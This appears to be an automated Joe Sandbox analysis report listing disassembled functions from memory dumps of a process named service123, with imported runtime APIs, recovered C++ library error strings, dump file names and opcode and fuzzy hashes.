Function 6C210970 Relevance: 10.2, APIs: 8, Instructions: 150COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C1A92A3,00000003), ref: 6C2109ED
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C1A92A3,00000003), ref: 6C210A2C

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 8eeda5daa0903fc6a0a1b83168d6405fc1266b630737f5cb9a0f8ae4aa89840c
Instruction ID: 52d0495a1c8127e4be855bfe885030cce2522c23ede295342f69d418ebe68b32
Opcode Fuzzy Hash: 8eeda5daa0903fc6a0a1b83168d6405fc1266b630737f5cb9a0f8ae4aa89840c
Instruction Fuzzy Hash: 5661E2B4509746CFC714DF19C090A1AFBE0AF99754F10891EE9EA8BBA1D730E954CF82

Function 6C212B90 Relevance: 9.2, APIs: 2, Strings: 4, Instructions: 232COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?,6C20736E), ref: 6C212C03

Strings

basic_string::_M_create, xrefs: 6C212C1A, 6C212CBA
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C212D14, 6C212D71, 6C212DD6
basic_string::basic_string, xrefs: 6C212D0C, 6C212D69
string::string, xrefs: 6C212DCE

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_create$basic_string::basic_string$string::string
API String ID: 3510742995-126128797
Opcode ID: 9fb1d2986704931187b4aa046c13feb176257371f5ec042709739dc89b5706d9
Instruction ID: 6ce5c1a63fa752717d2a22fa91f118b03bedc2a627446b1b602208704fde972f
Opcode Fuzzy Hash: 9fb1d2986704931187b4aa046c13feb176257371f5ec042709739dc89b5706d9
Instruction Fuzzy Hash: 7E7182B69093558FC300DF2CD48064AFBE0BF8A218F55C9AEE98C9B715D331C945CB92

Function 6C17EB70 Relevance: 9.2, APIs: 6, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ff8390f7064b2eec1ab42af84fa55342ea2eed4810115e48aac89551600db43
Instruction ID: e1f57a5aa5890566e393ee4495116fdb30528041e110f3a00f0b105a99007f1a
Opcode Fuzzy Hash: 9ff8390f7064b2eec1ab42af84fa55342ea2eed4810115e48aac89551600db43
Instruction Fuzzy Hash: 7861C3756493048FD324CF29C48069AF7E1BF9830CF448E1DE8989BB54D734DA458BA6

Function 6C18B060 Relevance: 9.1, APIs: 6, Instructions: 145COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C18AF3F), ref: 6C245FF0
abort.MSVCRT(?,?,?,?,?,?,6C18AE9C,?,?,?,?,?,?,6C246040), ref: 6C245FF8
abort.MSVCRT(?,?,?,?,?,?,6C18AE9C,?,?,?,?,?,?,6C246040), ref: 6C246000
abort.MSVCRT(?,?,?,?,?,?,6C18AE9C,?,?,?,?,?,?,6C246040), ref: 6C246008

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: edd541a801baf0994fb8a177d868934cfeb33cd47b52790c8cae610c8d900944
Instruction ID: cdd2d182b7c19d8818f847a6c27f1c622feae89f21d46342c61e65b2a2a955ec
Opcode Fuzzy Hash: edd541a801baf0994fb8a177d868934cfeb33cd47b52790c8cae610c8d900944
Instruction Fuzzy Hash: F241F57160A3098BCB08AF74C4D16ABB7E1FF82358F14886DD8858BB55DB36D44ACB91

Function 6C171020 Relevance: 9.1, APIs: 6, Instructions: 100sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,6C171281,?,?,?,?,?,?,6C1713AE), ref: 6C171057
_amsg_exit.MSVCRT ref: 6C171086

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: Sleep_amsg_exit
String ID:
API String ID: 1015461914-0
Opcode ID: 35fcb4e893f8c6d53a55adb8e45b68b150771e53bdd2f423593569bec3dd3170
Instruction ID: a2b37682b68a0c5bec68004f6683f2bc14803bc86dfc573ee227a79bf1c1ff66
Opcode Fuzzy Hash: 35fcb4e893f8c6d53a55adb8e45b68b150771e53bdd2f423593569bec3dd3170
Instruction Fuzzy Hash: F531817070D241CBDB109F2AC5AA75AB7F4EB46798F21452DD94C8BB80DB35C484DBA2

Function 6C191F00 Relevance: 9.0, APIs: 6, Instructions: 50stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C191F18
strlen.MSVCRT ref: 6C191F22
memcpy.MSVCRT ref: 6C191F3F
setlocale.MSVCRT ref: 6C191F52
wcsftime.MSVCRT ref: 6C191F76
setlocale.MSVCRT ref: 6C191F88

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlenwcsftime
String ID:
API String ID: 3412479102-0
Opcode ID: 424b18269c9568b601aa084ce7b792cc48ee0dbfdd54ac89f4617c58107e666f
Instruction ID: 2c7d354a51c335d334f9ebc718d75df7ce82b6a4e4f1f4642cc6e4c98e20ac0b
Opcode Fuzzy Hash: 424b18269c9568b601aa084ce7b792cc48ee0dbfdd54ac89f4617c58107e666f
Instruction Fuzzy Hash: 911193B5A0E314AFC740AF69C19475EBBE4BF88754F418C2DE8C987710E7789844CB92

Function 6C191C50 Relevance: 9.0, APIs: 6, Instructions: 49stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C191C68
strlen.MSVCRT ref: 6C191C72
memcpy.MSVCRT ref: 6C191C8F
setlocale.MSVCRT ref: 6C191CA2
strftime.MSVCRT ref: 6C191CC6
setlocale.MSVCRT ref: 6C191CD8

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: setlocale$memcpystrftimestrlen
String ID:
API String ID: 1843691881-0
Opcode ID: 6c6be702ecd5bb5de11d644345ab9c433beb98d3ffe32bd8be6ea1cefaf23c18
Instruction ID: 6cb69f42bea5b34ea9bf2ea8c8cf9c9e04959687954db8d934415ce6fe24e019
Opcode Fuzzy Hash: 6c6be702ecd5bb5de11d644345ab9c433beb98d3ffe32bd8be6ea1cefaf23c18
Instruction Fuzzy Hash: 3C1193B550E354AFC340AF69C09475EBBE4BF88754F458C2DE8C987711E7789844CB92

Function 6C17ED31 Relevance: 9.0, APIs: 6, Instructions: 19COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 43ff2732fdef0f94484c1c8e9571a78a07aad364bf0272b15e68b5917b8ab3da
Instruction ID: b608c2b8f320361aa771bf34458bdb2664cc6664cbb5ec4557c4e830fcc8a7a6
Opcode Fuzzy Hash: 43ff2732fdef0f94484c1c8e9571a78a07aad364bf0272b15e68b5917b8ab3da
Instruction Fuzzy Hash: 92B01235CCD568CAC43096BC40B03D6A24DAB27384F05480BC55B67E088617A4874666

Function 6C18E0D0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 130windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 6C18E117
LocalFree.KERNEL32 ref: 6C18E14B

Strings

basic_string: construction from null is not valid, xrefs: 6C18E1A7
Unknown error code, xrefs: 6C18E18C

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: FormatFreeLocalMessage
String ID: Unknown error code$basic_string: construction from null is not valid
API String ID: 1427518018-3299438129
Opcode ID: 42b6c02defb4e793b07c719d70f6dfec6b13129caf48b1691ec2cb178f77503b
Instruction ID: 532746298cb90b4ec27e9f4e6333c90b60a51d3bbdf9bb071803855a82569da5
Opcode Fuzzy Hash: 42b6c02defb4e793b07c719d70f6dfec6b13129caf48b1691ec2cb178f77503b
Instruction Fuzzy Hash: A3415BB19097089FCB04AF69C48569EFBF4FF85714F41882CE8849BB54D3709559CBD2

Function 00052F89 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00052E97
fputc.MSVCRT ref: 00052F07
memset.MSVCRT ref: 00052FC2

Strings

0, xrefs: 00052FB7
o, xrefs: 00052FCA

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: fputc$memset
String ID: 0$o
API String ID: 2944404495-4157579757
Opcode ID: 448672419a6aefb592f870ea4cfb86913ff9ea238fa630640188f8821d0f5d8b
Instruction ID: 6843d83d7ce6cfe2e92862f41d381307c15f70daf119f54f4db75a5271373126
Opcode Fuzzy Hash: 448672419a6aefb592f870ea4cfb86913ff9ea238fa630640188f8821d0f5d8b
Instruction Fuzzy Hash: E5314871A043058BCB10CF68C0957AFBBF1BF5A351F158529DD99AB392D738A908CB50

Function 6C183659 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 6C183567
fputc.MSVCRT ref: 6C1835D7
memset.MSVCRT ref: 6C183692

Strings

0, xrefs: 6C183687
o, xrefs: 6C18369A

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: fputc$memset
String ID: 0$o
API String ID: 2944404495-4157579757
Opcode ID: 4e5d1ba6c8a4e8df9e646095398d9879c6dbcde4af08328c22bcc6dcc1e4ca11
Instruction ID: 5a089450d4c7627265c4ab8bf1f860ae7b7e864ca5245f806d9c53dbbd571a9d
Opcode Fuzzy Hash: 4e5d1ba6c8a4e8df9e646095398d9879c6dbcde4af08328c22bcc6dcc1e4ca11
Instruction Fuzzy Hash: C0314B71A0E705CBCB00CF68C0947A9B7F1BF49314F598659D995ABB81D338E802CF50

Function 6C179490 Relevance: 7.9, APIs: 4, Strings: 1, Instructions: 375stringCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 6C1794C2
strlen.MSVCRT ref: 6C179616

Strings

_GLOBAL_, xrefs: 6C1794B7

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: strlenstrncmp
String ID: _GLOBAL_
API String ID: 1310274236-770460502
Opcode ID: d4d24bc939878a03667ad6ee01b189ded18ab70b923b348c7da3cba072224dbb
Instruction ID: 702ecc7a4ae6900be74b46d180e664bd950a35f8e550290fb9260aca8d926681
Opcode Fuzzy Hash: d4d24bc939878a03667ad6ee01b189ded18ab70b923b348c7da3cba072224dbb
Instruction Fuzzy Hash: 8EF17370D052688FEB20CF29C8A03DDBBF1AF46308F5441EAC459AB745D7799A89CF91

Function 6C1EDAB0 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 229COMMON

Download Yara Rule

APIs

Part of subcall function 6C20F8C0: memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C1EDA2E), ref: 6C20F95D
Part of subcall function 6C20F8C0: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C1EDA2E), ref: 6C20F988

memcpy.MSVCRT ref: 6C1EDCB5

Part of subcall function 6C212530: memcpy.MSVCRT(?,-00000001,?,6C19749E,?,?,?,?,?,?,?,?,?,?,?,6C198E25), ref: 6C21256C

Strings

Unknown error, xrefs: 6C1EDB08
basic_string::append, xrefs: 6C1EDDB2, 6C1EDDBE
iostream error, xrefs: 6C1EDD08

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: memcpy$memmove
String ID: Unknown error$basic_string::append$iostream error
API String ID: 1283327689-1474074352
Opcode ID: 2948b32dbfe8f7cc2873f2664507fef49691fce35b22362888a2940570bab1e3
Instruction ID: 89d6c223d2d777f8f7e6f7f3eb1b1655b000500da55ffcfa6458bc58acbcf010
Opcode Fuzzy Hash: 2948b32dbfe8f7cc2873f2664507fef49691fce35b22362888a2940570bab1e3
Instruction Fuzzy Hash: FFA1F471D04718CBCB14EFA8C48469EBBF1BF89314F61852ED899AB751E7349845CF82

Function 6C1DBF60 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 216COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C1DC03F
memcpy.MSVCRT ref: 6C1DC099
memcpy.MSVCRT ref: 6C1DC127

Part of subcall function 6C1DC500: memcpy.MSVCRT ref: 6C1DC58C

Strings

basic_string::replace, xrefs: 6C1DC194, 6C1DC1A7
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C1DC1B3

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::replace
API String ID: 3510742995-3564965661
Opcode ID: d3f7b7b50b677130c0f1515a74c608480e005502137dd220d29b8e0b2b590d68
Instruction ID: 5c9a5dedb1b3acfa33d85b415248a2687a8a331cb52f598e5d9719384908e48b
Opcode Fuzzy Hash: d3f7b7b50b677130c0f1515a74c608480e005502137dd220d29b8e0b2b590d68
Instruction Fuzzy Hash: 54813875A09619DFCB00EF28C49069EBBE1FF89714F12892DE898D7710E735E944CB92

Function 6C1E5000 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 205COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C1E50D0
memcpy.MSVCRT ref: 6C1E5124
memcpy.MSVCRT ref: 6C1E51B8

Part of subcall function 6C1E5590: memcpy.MSVCRT ref: 6C1E5620

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C1E5248
basic_string::replace, xrefs: 6C1E5229, 6C1E523C

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::replace
API String ID: 3510742995-3564965661
Opcode ID: 742d53a54d69ca7460ecfc532f3a30ef1fd00abffaa287210e48840cc33d701f
Instruction ID: d26cf2ccd61343334714f3c2fb72f80bdef00c00d254864243e7b151f8470b14
Opcode Fuzzy Hash: 742d53a54d69ca7460ecfc532f3a30ef1fd00abffaa287210e48840cc33d701f
Instruction Fuzzy Hash: D0813475A09A099FCB00DF6CC48069EFBF1AF89354F158A2EE899D7710E731D944CB92

Function 6C1ED810 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 153stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C20F8C0: memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C1EDA2E), ref: 6C20F95D
Part of subcall function 6C20F8C0: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C1EDA2E), ref: 6C20F988

strlen.MSVCRT ref: 6C1ED8E5
memcpy.MSVCRT ref: 6C1ED9BE

Strings

Unknown error, xrefs: 6C1ED85E
iostream error, xrefs: 6C1EDA12

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: memcpy$memmovestrlen
String ID: Unknown error$iostream error
API String ID: 1234831610-3609051425
Opcode ID: d771764770ffec4f4f7e381f9dd29abd4efaf2c109f8e6ca3b9e2fb6541d2fe1
Instruction ID: a1dc05e7ef0aec105f01d6ea04044d62bf5ab07899cb42d3140ef72d660b04ab
Opcode Fuzzy Hash: d771764770ffec4f4f7e381f9dd29abd4efaf2c109f8e6ca3b9e2fb6541d2fe1
Instruction Fuzzy Hash: EA61C4B0905708CFDB04EFA8C48469EBBF1BF88314F14892ED8999B755E7749849CF91

Function 6C17F840 Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 6C17F85F
ReleaseSemaphore.KERNEL32 ref: 6C17F8E3

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: ReleaseSemaphoremalloc
String ID:
API String ID: 755742884-0
Opcode ID: b998857cfac834ea90c841618a268e5fe5148bac5297beeaf426a59295ae7696
